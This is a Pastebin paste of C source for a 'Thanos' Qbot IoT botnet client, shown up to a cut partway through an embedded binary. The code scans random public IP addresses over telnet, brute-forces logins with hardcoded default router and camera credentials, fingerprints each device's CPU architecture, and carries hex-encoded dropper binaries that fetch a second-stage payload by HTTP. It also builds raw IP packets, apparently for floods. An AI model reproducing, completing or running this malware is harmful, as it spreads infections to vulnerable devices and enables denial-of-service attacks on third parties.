Advertisement
VulnSec

Thanos Qbot Client

Sep 23rd, 2018
737
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 165.27 KB | None | 0 0
  1. #define _GNU_SOURCE
  2.  
  3.  
  4. //#############################################
  5. //#############################################
  6. //[THANOS] BUILD 1.0
  7. #include <stdlib.h>
  8. #include <stdarg.h>
  9. #include <stdio.h>
  10. #include <stdint.h>
  11. #include <stdbool.h>
  12. #include <sys/socket.h>
  13. #include <sys/types.h>
  14. #include <netinet/in.h>
  15. #include <arpa/inet.h>
  16. #include <netdb.h>
  17. #include <signal.h>
  18. #include <strings.h>
  19. #include <string.h>
  20. #include <sys/utsname.h>
  21. #include <unistd.h>
  22. #include <fcntl.h>
  23. #include <errno.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/udp.h>
  26. #include <netinet/tcp.h>
  27. #include <sys/wait.h>
  28. #include <sys/ioctl.h>
  29. #include <net/if.h>
  30. #include <time.h>
  31. #include <dirent.h>
  32. #include <ctype.h>
  33. #include <linux/prctl.h>
  34. #include <sys/prctl.h>
  35. #define PR_SET_NAME 15
  36. #define PHI 0x9e3779b9
  37. #define SOCK_BUFSIZE 2048
  38. #define PAD_RIGHT 1
  39. #define PAD_ZERO 2
  40. #define PRINT_BUF_LEN 12
  41. #define CMD_IAC 255
  42. #define CMD_WILL 251
  43. #define CMD_WONT 252
  44. #define CMD_DO 253
  45. #define CMD_DONT 254
  46. #define OPT_SGA 3
  47. char *inet_ntoa(struct in_addr in);
  48. unsigned char macAddress[6] = {0};
  49. char *usernames[] = {
  50. "admin\0",
  51. "admin\0", //guest:12345
  52. "admin\0",
  53. "default\0", //default:
  54. "guest\0",
  55. "telecomadmin\0",
  56. "root\0",
  57. "e8ehome\0", //e8ehome:e8ehomeusr
  58. "telnetadmin\0",
  59. "e8telnet\0", //e8telnet:e8telnet
  60. "nr2g\0",
  61. "user\0",
  62. "e8ehome1\0", //e8ehome1:e8ehome1
  63. "vstarcam2015\0", //vstarcam2015:20150602
  64. "root\0", //root:vizxv
  65. "root\0", //root:xc3511
  66. "root\0", //root:antslq
  67. "root\0",
  68. "realtek\0",
  69. "root\0", //root:123456
  70. "support\0", //support:support
  71. "root\0", //root:5up
  72. "operator\0" //operator:operator
  73. };
  74. char *passwords[] = {
  75. "admin\0",
  76. "admin\0",
  77. "7ujMko0admin\0"
  78. "\0",
  79. "12345\0",
  80. "nE7jA%5m\0",
  81. "hg2x0\0",
  82. "e8ehome\0",
  83. "telnetadmin\0", //telnetadmin:telnetadmin
  84. "e8telnet\0",
  85. "digitel\0",
  86. "digi\0",
  87. "e8ehome1\0",
  88. "20150602\0",
  89. "vizxv\0",
  90. "xc3511\0",
  91. "antslq\0",
  92. "realtek\0",
  93. "123456\0",
  94. "Zte521\0",
  95. "support\0",
  96. "5up\0",
  97. "operator\0"};
  98. char *elf_response[] = {"ELF", 0};
  99. char *login_prompts[] = {":", "user", "ogin", "name", "pass", "dvrdvs", "assword:", (char*)0};
  100. char *fail_prompts[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  101. char *fail_or_success[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", "shell", "dvrdvs", 0};
  102. char *success_prompts[] = {"busybox", "$", "#", "shell", "dvrdvs", (char*)0};
  103. char *tmp_dirs[] = {"/var/", "/var/tmp/", "/var/run/", "/tmp/", "/dev/", "/", "/dev/shm/", 0};
  104. char *echofinished[] = {"BAPE", 0 };
  105. char *execmsg[] = {"HOODFAVE", 0};
  106. char *wgetcheck[] = {"wget: applet not found", 0};
  107. char *tftpcheck[] = {"tftp: applet not found", 0};
  108. char *choosemethod[] = {": applet not found", 0};
  109. int mainport = 509;
  110. int currentServer = -1;
  111. uint32_t scanPid;
  112. uint32_t *pids;
  113. uint64_t numpids = 0;
  114. struct in_addr ourIP;
  115. int uhmysockethere = 0;
  116. static uint32_t x, y, z, w;
  117.  
  118. void rand_init(void)
  119. {
  120. x = time(NULL);
  121. y = getpid() ^ getppid();
  122. z = clock();
  123. w = z ^ y;
  124. }
  125.  
  126. uint32_t rand_next(void)
  127. {
  128. uint32_t t = x;
  129. t ^= t << 11;
  130. t ^= t >> 8;
  131. x = y; y = z; z = w;
  132. w ^= w >> 19;
  133. w ^= t;
  134. return w;
  135. }
  136. void rand_str(char *str, int len)
  137. {
  138. while (len > 0)
  139. {
  140. if (len >= 4)
  141. {
  142. *((uint32_t *)str) = rand_next();
  143. str += sizeof (uint32_t);
  144. len -= sizeof (uint32_t);
  145. }
  146. else if (len >= 2)
  147. {
  148. *((uint16_t *)str) = rand_next() & 0xFFFF;
  149. str += sizeof (uint16_t);
  150. len -= sizeof (uint16_t);
  151. }
  152. else
  153. {
  154. *str++ = rand_next() & 0xFF;
  155. len--;
  156. }
  157. }
  158. }
  159.  
  160. void rand_alphastr(uint8_t *str, int len)
  161. {
  162. const char alphaset[] = "2bl4MqWdFieamkf56RIrUEoAKVLZOSQHTX1tpYJDuj8cn7CgswBvNPh0G3";
  163.  
  164. while (len > 0)
  165. {
  166. if (len >= sizeof (uint32_t))
  167. {
  168. int i;
  169. uint32_t entropy = rand_next();
  170.  
  171. for (i = 0; i < sizeof (uint32_t); i++)
  172. {
  173. uint8_t tmp = entropy & 0xff;
  174.  
  175. entropy = entropy >> 8;
  176. tmp = tmp >> 3;
  177.  
  178. *str++ = alphaset[tmp];
  179. }
  180. len -= sizeof (uint32_t);
  181. }
  182. else
  183. {
  184. *str++ = rand_next() % (sizeof (alphaset));
  185. len--;
  186. }
  187. }
  188. }
  189. int util_strlen(char *str)
  190. {
  191. int c = 0;
  192.  
  193. while (*str++ != 0)
  194. c++;
  195. return c;
  196. }
  197. static uint32_t Q[4096], c = 362436;
  198. void init_rand(uint32_t x) {
  199. int i;
  200. Q[0] = x;
  201. Q[1] = x + PHI;
  202. Q[2] = x + PHI + PHI;
  203. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  204. }
  205. uint32_t rand_cmwc(void) {
  206. uint64_t t, a = 18782LL;
  207. static uint32_t i = 4095;
  208. uint32_t x, r = 0xfffffffe;
  209. i = (i + 1) & 4095;
  210. t = a * Q[i] + c;
  211. c = (uint32_t)(t >> 32);
  212. x = t + c;
  213. if (x < c) {
  214. x++;
  215. c++;
  216. }
  217. return (Q[i] = r - x);
  218. }
  219. uint8_t ipState[5] = {0};
  220. in_addr_t scantelnetip() {
  221. ipState[0] = rand() % 223;
  222. ipState[1] = rand() % 255;
  223. ipState[2] = rand() % 255;
  224. ipState[3] = rand() % 255;
  225. while
  226. (
  227. ipState[0] == 127 || ipState[0] == 0 || (ipState[0] == 192 && ipState[1] == 168)
  228. )
  229. {
  230. ipState[0] = rand() % 223;
  231. ipState[1] = rand() % 255;
  232. ipState[2] = rand() % 255;
  233. ipState[3] = rand() % 255;
  234. }
  235. char ip[16] = {0};
  236. sprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  237. return inet_addr(ip);
  238. }
  239. in_addr_t getRandomIP(in_addr_t netmask) {
  240. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  241. return tmp ^ ( rand_cmwc() & ~netmask);
  242. }
  243. void trim(char *str)
  244. {
  245. int i;
  246. int begin = 0;
  247. int end = strlen(str) - 1;
  248.  
  249. while (isspace(str[begin])) begin++;
  250.  
  251. while ((end >= begin) && isspace(str[end])) end--;
  252. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  253.  
  254. str[i - begin] = '\0';
  255. }
  256. unsigned short csum (unsigned short *buf, int count) {
  257. register uint64_t sum = 0;
  258. while( count > 1 ) { sum += *buf++; count -= 2; }
  259. if(count > 0) { sum += *(unsigned char *)buf; }
  260. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  261. return (uint16_t)(~sum);
  262. }
  263. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  264. struct tcp_pseudo {
  265. unsigned long src_addr;
  266. unsigned long dst_addr;
  267. unsigned char zero;
  268. unsigned char proto;
  269. unsigned short length;
  270. } pseudohead;
  271. unsigned short total_len = iph->tot_len;
  272. pseudohead.src_addr=iph->saddr;
  273. pseudohead.dst_addr=iph->daddr;
  274. pseudohead.zero=0;
  275. pseudohead.proto=IPPROTO_TCP;
  276. pseudohead.length=htons(sizeof(struct tcphdr));
  277. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  278. unsigned short *tcp = malloc(totaltcp_len);
  279. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  280. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  281. unsigned short output = csum(tcp,totaltcp_len);
  282. free(tcp);
  283. return output;
  284. }
  285. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  286. iph->ihl = 5;
  287. iph->version = 4;
  288. iph->tos = 0;
  289. iph->tot_len = sizeof(struct iphdr) + packetSize;
  290. iph->id = rand_cmwc();
  291. iph->frag_off = 0;
  292. iph->ttl = MAXTTL;
  293. iph->protocol = protocol;
  294. iph->check = 0;
  295. iph->saddr = source;
  296. iph->daddr = dest;
  297. }
  298. static void printchar(unsigned char **str, int c)
  299. {
  300. if (str) {
  301. **str = c;
  302. ++(*str);
  303. }
  304. else (void)write(1, &c, 1);
  305. }
  306.  
  307. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  308. {
  309. register int pc = 0, padchar = ' ';
  310.  
  311. if (width > 0) {
  312. register int len = 0;
  313. register const unsigned char *ptr;
  314. for (ptr = string; *ptr; ++ptr) ++len;
  315. if (len >= width) width = 0;
  316. else width -= len;
  317. if (pad & PAD_ZERO) padchar = '0';
  318. }
  319. if (!(pad & PAD_RIGHT)) {
  320. for ( ; width > 0; --width) {
  321. printchar (out, padchar);
  322. ++pc;
  323. }
  324. }
  325. for ( ; *string ; ++string) {
  326. printchar (out, *string);
  327. ++pc;
  328. }
  329. for ( ; width > 0; --width) {
  330. printchar (out, padchar);
  331. ++pc;
  332. }
  333.  
  334. return pc;
  335. }
  336.  
  337. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  338. {
  339. unsigned char print_buf[PRINT_BUF_LEN];
  340. register unsigned char *s;
  341. register int t, neg = 0, pc = 0;
  342. register unsigned int u = i;
  343.  
  344. if (i == 0) {
  345. print_buf[0] = '0';
  346. print_buf[1] = '\0';
  347. return prints (out, print_buf, width, pad);
  348. }
  349.  
  350. if (sg && b == 10 && i < 0) {
  351. neg = 1;
  352. u = -i;
  353. }
  354.  
  355. s = print_buf + PRINT_BUF_LEN-1;
  356. *s = '\0';
  357.  
  358. while (u) {
  359. t = u % b;
  360. if( t >= 10 )
  361. t += letbase - '0' - 10;
  362. *--s = t + '0';
  363. u /= b;
  364. }
  365.  
  366. if (neg) {
  367. if( width && (pad & PAD_ZERO) ) {
  368. printchar (out, '-');
  369. ++pc;
  370. --width;
  371. }
  372. else {
  373. *--s = '-';
  374. }
  375. }
  376.  
  377. return pc + prints (out, s, width, pad);
  378. }
  379.  
  380. static int print(unsigned char **out, const unsigned char *format, va_list args )
  381. {
  382. register int width, pad;
  383. register int pc = 0;
  384. unsigned char scr[2];
  385.  
  386. for (; *format != 0; ++format) {
  387. if (*format == '%') {
  388. ++format;
  389. width = pad = 0;
  390. if (*format == '\0') break;
  391. if (*format == '%') goto out;
  392. if (*format == '-') {
  393. ++format;
  394. pad = PAD_RIGHT;
  395. }
  396. while (*format == '0') {
  397. ++format;
  398. pad |= PAD_ZERO;
  399. }
  400. for ( ; *format >= '0' && *format <= '9'; ++format) {
  401. width *= 10;
  402. width += *format - '0';
  403. }
  404. if( *format == 's' ) {
  405. register char *s = (char *)va_arg( args, int );
  406. pc += prints (out, s?s:"(null)", width, pad);
  407. continue;
  408. }
  409. if( *format == 'd' ) {
  410. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  411. continue;
  412. }
  413. if( *format == 'x' ) {
  414. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  415. continue;
  416. }
  417. if( *format == 'X' ) {
  418. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  419. continue;
  420. }
  421.  
  422. if( *format == 'u' ) {
  423. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  424. continue;
  425. }
  426. if( *format == 'c' ) {
  427. scr[0] = (unsigned char)va_arg( args, int );
  428. scr[1] = '\0';
  429. pc += prints (out, scr, width, pad);
  430. continue;
  431. }
  432. }
  433. else {
  434. out:
  435. printchar (out, *format);
  436. ++pc;
  437. }
  438. }
  439. if (out) **out = '\0';
  440. va_end( args );
  441. return pc;
  442. }
  443.  
  444. int zprintf(const unsigned char *format, ...)
  445. {
  446. va_list args;
  447. va_start( args, format );
  448. return print( 0, format, args );
  449. }
  450. int thanosprint(int sock, char *string, ...)
  451. {
  452. char buffer[SOCK_BUFSIZE];
  453. memset(buffer, 0, SOCK_BUFSIZE);
  454.  
  455. va_list args;
  456. va_start(args, string);
  457. vsprintf(buffer, string, args);
  458. va_end(args);
  459.  
  460. // printf("[debug] >>> %s", buffer);
  461.  
  462. return send(sock, buffer, strlen(buffer), MSG_NOSIGNAL);
  463. }
  464. int getHost(unsigned char *toGet, struct in_addr *i)
  465. {
  466. struct hostent *h;
  467. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  468. return 0;
  469. }
  470. static int *fdopen_pids;
  471.  
  472. int fdpclose(int iop)
  473. {
  474. register int fdes;
  475. sigset_t omask, nmask;
  476. int pstat;
  477. register int pid;
  478.  
  479. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  480. (void) close(iop);
  481. sigemptyset(&nmask);
  482. sigaddset(&nmask, SIGINT);
  483. sigaddset(&nmask, SIGQUIT);
  484. sigaddset(&nmask, SIGHUP);
  485. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  486. do {
  487. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  488. } while (pid == -1 && errno == EINTR);
  489. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  490. fdopen_pids[fdes] = 0;
  491. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  492. }
  493.  
  494. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  495. {
  496. int got = 1, total = 0;
  497. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  498. return got == 0 ? NULL : buffer;
  499. }
  500.  
  501.  
  502. int recvLine(int socket, unsigned char *buf, int bufsize)
  503. {
  504. memset(buf, 0, bufsize);
  505.  
  506. fd_set myset;
  507. struct timeval tv;
  508. tv.tv_sec = 30;
  509. tv.tv_usec = 0;
  510. FD_ZERO(&myset);
  511. FD_SET(socket, &myset);
  512. int selectRtn, retryCount;
  513. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  514. while(retryCount < 10)
  515. {
  516. tv.tv_sec = 30;
  517. tv.tv_usec = 0;
  518. FD_ZERO(&myset);
  519. FD_SET(socket, &myset);
  520. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  521. retryCount++;
  522. continue;
  523. }
  524.  
  525. break;
  526. }
  527. }
  528.  
  529. unsigned char tmpchr;
  530. unsigned char *cp;
  531. int count = 0;
  532.  
  533. cp = buf;
  534. while(bufsize-- > 1)
  535. {
  536. if(recv(uhmysockethere, &tmpchr, 1, 0) != 1) {
  537. *cp = 0x00;
  538. return -1;
  539. }
  540. *cp++ = tmpchr;
  541. if(tmpchr == '\n') break;
  542. count++;
  543. }
  544. *cp = 0x00;
  545. return count;
  546. }
  547. int connectTimeout(int fd, char *host, int port, int timeout)
  548. {
  549. struct sockaddr_in dest_addr;
  550. fd_set myset;
  551. struct timeval tv;
  552. socklen_t lon;
  553.  
  554. int valopt;
  555. long arg = fcntl(fd, F_GETFL, NULL);
  556. arg |= O_NONBLOCK;
  557. fcntl(fd, F_SETFL, arg);
  558.  
  559. dest_addr.sin_family = AF_INET;
  560. dest_addr.sin_port = htons(port);
  561. if(getHost(host, &dest_addr.sin_addr)) return 0;
  562. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  563. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  564.  
  565. if (res < 0) {
  566. if (errno == EINPROGRESS) {
  567. tv.tv_sec = timeout;
  568. tv.tv_usec = 0;
  569. FD_ZERO(&myset);
  570. FD_SET(fd, &myset);
  571. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  572. lon = sizeof(int);
  573. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  574. if (valopt) return 0;
  575. }
  576. else return 0;
  577. }
  578. else return 0;
  579. }
  580. arg = fcntl(fd, F_GETFL, NULL);
  581. arg &= (~O_NONBLOCK);
  582. fcntl(fd, F_SETFL, arg);
  583.  
  584. return 1;
  585. }
  586. int listFork()
  587. {
  588. uint32_t parent, *newpids, i;
  589. parent = fork();
  590. if (parent <= 0) return parent;
  591. numpids++;
  592. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  593. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  594. newpids[numpids - 1] = parent;
  595. free(pids);
  596. pids = newpids;
  597. return parent;
  598. }
  599. int iac_negotiate(int sock, unsigned char *buf)
  600. {
  601. unsigned char c;
  602.  
  603. switch (buf[1]) {
  604. case CMD_IAC: return 0;
  605. case CMD_WILL:
  606. case CMD_WONT:
  607. case CMD_DO:
  608. case CMD_DONT:
  609. c = CMD_IAC;
  610. send(sock, &c, 1, MSG_NOSIGNAL);
  611. if (CMD_WONT == buf[1]) c = CMD_DONT;
  612. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  613. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  614. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  615. send(sock, &c, 1, MSG_NOSIGNAL);
  616. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  617. break;
  618.  
  619. default:
  620. break;
  621. }
  622.  
  623. return 0;
  624. }
  625. int getOurIP()
  626. {
  627. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  628. if(sock == -1) return 0;
  629.  
  630. struct sockaddr_in serv;
  631. memset(&serv, 0, sizeof(serv));
  632. serv.sin_family = AF_INET;
  633. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  634. serv.sin_port = htons(53);
  635.  
  636. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  637. if(err == -1) return 0;
  638.  
  639. struct sockaddr_in name;
  640. socklen_t namelen = sizeof(name);
  641. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  642. if(err == -1) return 0;
  643.  
  644. ourIP.s_addr = name.sin_addr.s_addr;
  645. int cmdline = open("/proc/net/route", O_RDONLY);
  646. char linebuf[4096];
  647. while(fdgets(linebuf, 4096, cmdline) != NULL)
  648. {
  649. if(strstr(linebuf, "\t00000000\t") != NULL)
  650. {
  651. unsigned char *pos = linebuf;
  652. while(*pos != '\t') pos++;
  653. *pos = 0;
  654. break;
  655. }
  656. memset(linebuf, 0, 4096);
  657. }
  658. close(cmdline);
  659.  
  660. if(*linebuf)
  661. {
  662. int i;
  663. struct ifreq ifr;
  664. strcpy(ifr.ifr_name, linebuf);
  665. ioctl(sock, SIOCGIFHWADDR, &ifr);
  666. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  667. }
  668.  
  669. close(sock);
  670. }
  671.  
  672. struct telnet_state_t
  673. {
  674. int fd;
  675. uint8_t complete, state, endianness, dropper_index, bit;
  676. uint32_t machine;
  677. unsigned int ip;
  678. unsigned char usernind;
  679. unsigned char pwordind;
  680. unsigned int ttltimeout;
  681. char sock_buffer[SOCK_BUFSIZE], arch[32];
  682. char *sockbuf;
  683. };
  684. void set_state(struct telnet_state_t *telnet_state, int new_state)
  685. {
  686. telnet_state->ttltimeout = time(NULL);
  687. memset(telnet_state->sock_buffer, 0, SOCK_BUFSIZE);
  688. telnet_state->state = new_state;
  689. }
  690. void reset_telnet_state(struct telnet_state_t *telnet_state, int complete)
  691. {
  692. telnet_state->ttltimeout = 0;
  693. memset(telnet_state->sock_buffer, 0, SOCK_BUFSIZE);
  694. close(telnet_state->fd);
  695. telnet_state->fd = -1;
  696. telnet_state->complete = complete;
  697. telnet_state->state = 0;
  698. telnet_state->dropper_index = 0;
  699. telnet_state->bit = 0;
  700. telnet_state->endianness = 0;
  701. telnet_state->machine = 0;
  702. if(telnet_state->complete == 1){
  703. telnet_state->bit = 0;
  704. telnet_state->endianness = 0;
  705. telnet_state->machine = 0;
  706. memset(telnet_state->arch, 0, 32);
  707. }
  708. }
  709. int compare_strings(char *buffer, char **strings)
  710. {
  711. int i = 0;
  712. int num_of_strings = 0;
  713.  
  714. for(num_of_strings = 0; strings[++num_of_strings] != 0;);
  715.  
  716. for(i = 0; i < num_of_strings; i++)
  717. {
  718. if(strcasestr(buffer, strings[i]))
  719. {
  720. return 1;
  721. }
  722. }
  723.  
  724. return 0;
  725. }
  726. const char* get_telnet_state_host(struct telnet_state_t *telnet_state) {
  727. struct in_addr in_addr_ip;
  728. in_addr_ip.s_addr = telnet_state->ip;
  729. return inet_ntoa(in_addr_ip);
  730. }
  731.  
  732. int read_until_response(int fd, int timeout_usec, unsigned char *buffer, int buffer_size, char **strings)
  733. {
  734. memset(buffer, 0, buffer_size);
  735.  
  736. fd_set myset;
  737. struct timeval tv;
  738.  
  739. tv.tv_sec = 9;
  740. tv.tv_usec = timeout_usec;
  741.  
  742. FD_ZERO(&myset);
  743. FD_SET(fd, &myset);
  744.  
  745. if(select(fd + 1, &myset, NULL, NULL, &tv) < 1)
  746. return 0;
  747.  
  748. recv(fd, buffer, buffer_size, 0);
  749.  
  750. if(buffer[0] == 0xFF)
  751. {
  752. iac_negotiate(fd, buffer);
  753. }
  754.  
  755. if(compare_strings(buffer, strings))
  756. {
  757. return 1;
  758. }
  759.  
  760. return 0;
  761. }
  762.  
  763. enum
  764. {
  765. NUM_OF_PAYLOADS = 11,
  766. ENDIAN_LITTLE = 1,
  767. ENDIAN_BIG = 2,
  768. BIT_32 = 1,
  769. BIT_64 = 2,
  770. EM_NONE = 0,
  771. EM_SPARC = 2,
  772. EM_ARM = 40,
  773. EM_386 = 3,
  774. EM_68K = 4,
  775. EM_MIPS = 8,
  776. EM_PPC = 20,
  777. EM_X86_64 = 62,
  778. EM_SH = 42,
  779. EM_ARC = 93,
  780. MAX_ECHO_BYTES = 128,
  781. };
  782.  
  783. static int parse_elf_response(struct telnet_state_t *fd)
  784. {
  785. int i = 0;
  786. char *elf_magic = "\x7f\x45\x4c\x46";
  787. int pos = 0;
  788. char *tmp;
  789. //thanosprint(uhmysockethere, "elf buf %s\n", fd->sock_buffer);
  790.  
  791. for(i = 0; i < SOCK_BUFSIZE; i++)
  792. {
  793. if(fd->sock_buffer[i] == elf_magic[pos])
  794. {
  795. if(++pos == 4)
  796. {
  797. pos = i;
  798. break;
  799. }
  800. }
  801. else
  802. {
  803. pos = 0;
  804. }
  805. }
  806.  
  807. if(pos == 0)
  808. return 0;
  809. //thanosprint(uhmysockethere, "got elf magic at position %d\n", pos);
  810.  
  811. fd->bit = fd->sock_buffer[pos + 0x01];
  812. fd->endianness = fd->sock_buffer[pos + 0x02];
  813. fd->machine = fd->sock_buffer[pos + 0xF];
  814.  
  815.  
  816. if(fd->machine == EM_NONE)
  817. return 0;
  818.  
  819. if(fd->machine == EM_ARM)
  820. tmp = "arm";
  821. else if(fd->machine == EM_SPARC)
  822. tmp = "sparc";
  823. else if(fd->machine == EM_386)
  824. tmp = "i686";
  825. else if(fd->machine == EM_68K)
  826. tmp = "m68k";
  827. else if(fd->machine == EM_PPC)
  828. tmp = "powerpc";
  829. else if(fd->machine == EM_ARC)
  830. tmp = "arc";
  831. else if(fd->machine == EM_SH)
  832. tmp = "superh";
  833. else if(fd->machine == EM_X86_64)
  834. tmp = "x86_64";
  835. else if(fd->machine == EM_MIPS && fd->endianness != ENDIAN_LITTLE)
  836. tmp = "mips";
  837. else if(fd->machine == EM_MIPS && fd->endianness == ENDIAN_LITTLE)
  838. tmp = "mipsel";
  839. else
  840. return 0;
  841.  
  842. memcpy(fd->arch, tmp, strlen(tmp));
  843. return 1;
  844. }
  845.  
  846. struct payload
  847. {
  848. uint8_t bit;
  849. uint8_t endian;
  850. uint8_t machine;
  851. char *str;
  852. uint16_t len;
  853. };
  854.  
  855. struct binary
  856. {
  857. char *str;
  858. uint8_t index;
  859. };
  860.  
  861.  
  862. // Bit
  863.  
  864.  
  865. // next time check droppers.txt to save your time
  866. struct payload payloads[11] =
  867.  
  868. {
  869. // arm
  870. BIT_32, ENDIAN_LITTLE, EM_ARM , "\x7f\x45\x4c\x46\x01\x01\x01\x61\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\x00\x00\x38\x81\x00\x00\x34\x00\x00\x00\xcc\x02\x00\x00\x02\x00\x00\x00\x34\x00\x20\x00\x02\x00\x28\x00\x05\x00\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\xac\x02\x00\x00\xac\x02\x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\xac\x02\x00\x00\xac\x02\x01\x00\xac\x02\x01\x00\x00\x00\x00\x00\x08\x00\x00\x00\x06\x00\x00\x00\x00\x80\x00\x00\x00\x10\xa0\xe1\x00\x00\x9f\xe5\x72\x00\x00\xea\x01\x00\x90\x00\x00\x10\xa0\xe1\x00\x00\x9f\xe5\x6e\x00\x00\xea\x06\x00\x90\x00\x01\xc0\xa0\xe1\x00\x10\xa0\xe1\x08\x00\x9f\xe5\x02\x30\xa0\xe1\x0c\x20\xa0\xe1\x67\x00\x00\xea\x05\x00\x90\x00\x04\xe0\x2d\xe5\x0c\xd0\x4d\xe2\x07\x00\x8d\xe8\x03\x10\xa0\xe3\x0d\x20\xa0\xe1\x08\x00\x9f\xe5\x5f\x00\x00\xeb\x0c\xd0\x8d\xe2\x00\x80\xbd\xe8\x66\x00\x90\x00\x01\xc0\xa0\xe1\x00\x10\xa0\xe1\x08\x00\x9f\xe5\x02\x30\xa0\xe1\x0c\x20\xa0\xe1\x56\x00\x00\xea\x04\x00\x90\x00\x01\xc0\xa0\xe1\x00\x10\xa0\xe1\x08\x00\x9f\xe5\x02\x30\xa0\xe1\x0c\x20\xa0\xe1\x4f\x00\x00\xea\x03\x00\x90\x00\x04\xe0\x2d\xe5\x0c\xd0\x4d\xe2\x07\x00\x8d\xe8\x01\x10\xa0\xe3\x0d\x20\xa0\xe1\x08\x00\x9f\xe5\x47\x00\x00\xeb\x0c\xd0\x8d\xe2\x00\x80\xbd\xe8\x66\x00\x90\x00\xf0\x40\x2d\xe9\x50\x30\xa0\xe3\x94\xd0\x4d\xe2\x83\x30\xcd\xe5\xe4\x30\x9f\xe5\x00\x60\xa0\xe3\x02\x40\xa0\xe3\xdc\x10\x9f\xe5\xdc\x20\x9f\xe5\xdc\x00\x9f\xe5\x84\x30\x8d\xe5\x80\x40\xcd\xe5\x81\x60\xcd\xe5\x82\x60\xcd\xe5\xc7\xff\xff\xeb\x01\x10\xa0\xe3\x06\x20\xa0\xe1\x00\x70\xa0\xe1\x04\x00\xa0\xe1\xe1\xff\xff\xeb\x80\x10\x8d\xe2\x00\x50\xa0\xe1\x10\x20\xa0\xe3\xc5\xff\xff\xeb\x05\x00\xa0\xe1\xa0\x10\x9f\xe5\x1b\x20\xa0\xe3\xcb\xff\xff\xeb\x1b\x00\x50\xe3\x03\x00\xa0\x13\xaf\xff\xff\x1b\x06\x40\xa0\xe1\x93\x10\x8d\xe2\x01\x20\xa0\xe3\x05\x00\xa0\xe1\xca\xff\xff\xeb\x01\x00\x50\xe3\x04\x00\xa0\xe3\xa7\xff\xff\x1b\x93\x30\xdd\xe5\x04\x44\x83\xe1\x64\x30\x9f\xe5\x03\x00\x54\xe1\xf3\xff\xff\x1a\x0d\x10\xa0\xe1\x80\x20\xa0\xe3\x05\x00\xa0\xe1\xbe\xff\xff\xeb\x00\x20\x50\xe2\x0d\x40\xa0\xe1\x0d\x10\xa0\xe1\x07\x00\xa0\xe1\x01\x00\x00\xda\xb1\xff\xff\xeb\xf4\xff\xff\xea\x05\x00\xa0\xe1\x99\xff\xff\xeb\x07\x00\xa0\xe1\x97\xff\xff\xeb\x03\x00\xa0\xe3\x91\xff\xff\xeb\x94\xd0\x8d\xe2\xf0\x80\xbd\xe8\xb2\x80\xb9\xfa\x41\x02\x00\x00\xff\x01\x00\x00\x88\x82\x00\x00\x90\x82\x00\x00\x0a\x0d\x0a\x0d\x70\x40\x2d\xe9\x10\x40\x8d\xe2\x70\x00\x94\xe8\x71\x00\x90\xef\x01\x0a\x70\xe3\x00\x40\xa0\xe1\x70\x80\xbd\x98\x03\x00\x00\xeb\x00\x30\x64\xe2\x00\x30\x80\xe5\x00\x00\xe0\xe3\x70\x80\xbd\xe8\x00\x00\x9f\xe5\x0e\xf0\xa0\xe1\xac\x02\x01\x00\x68\x61\x6b\x61\x69\x00\x00\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x61\x72\x6d\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x2e\x73\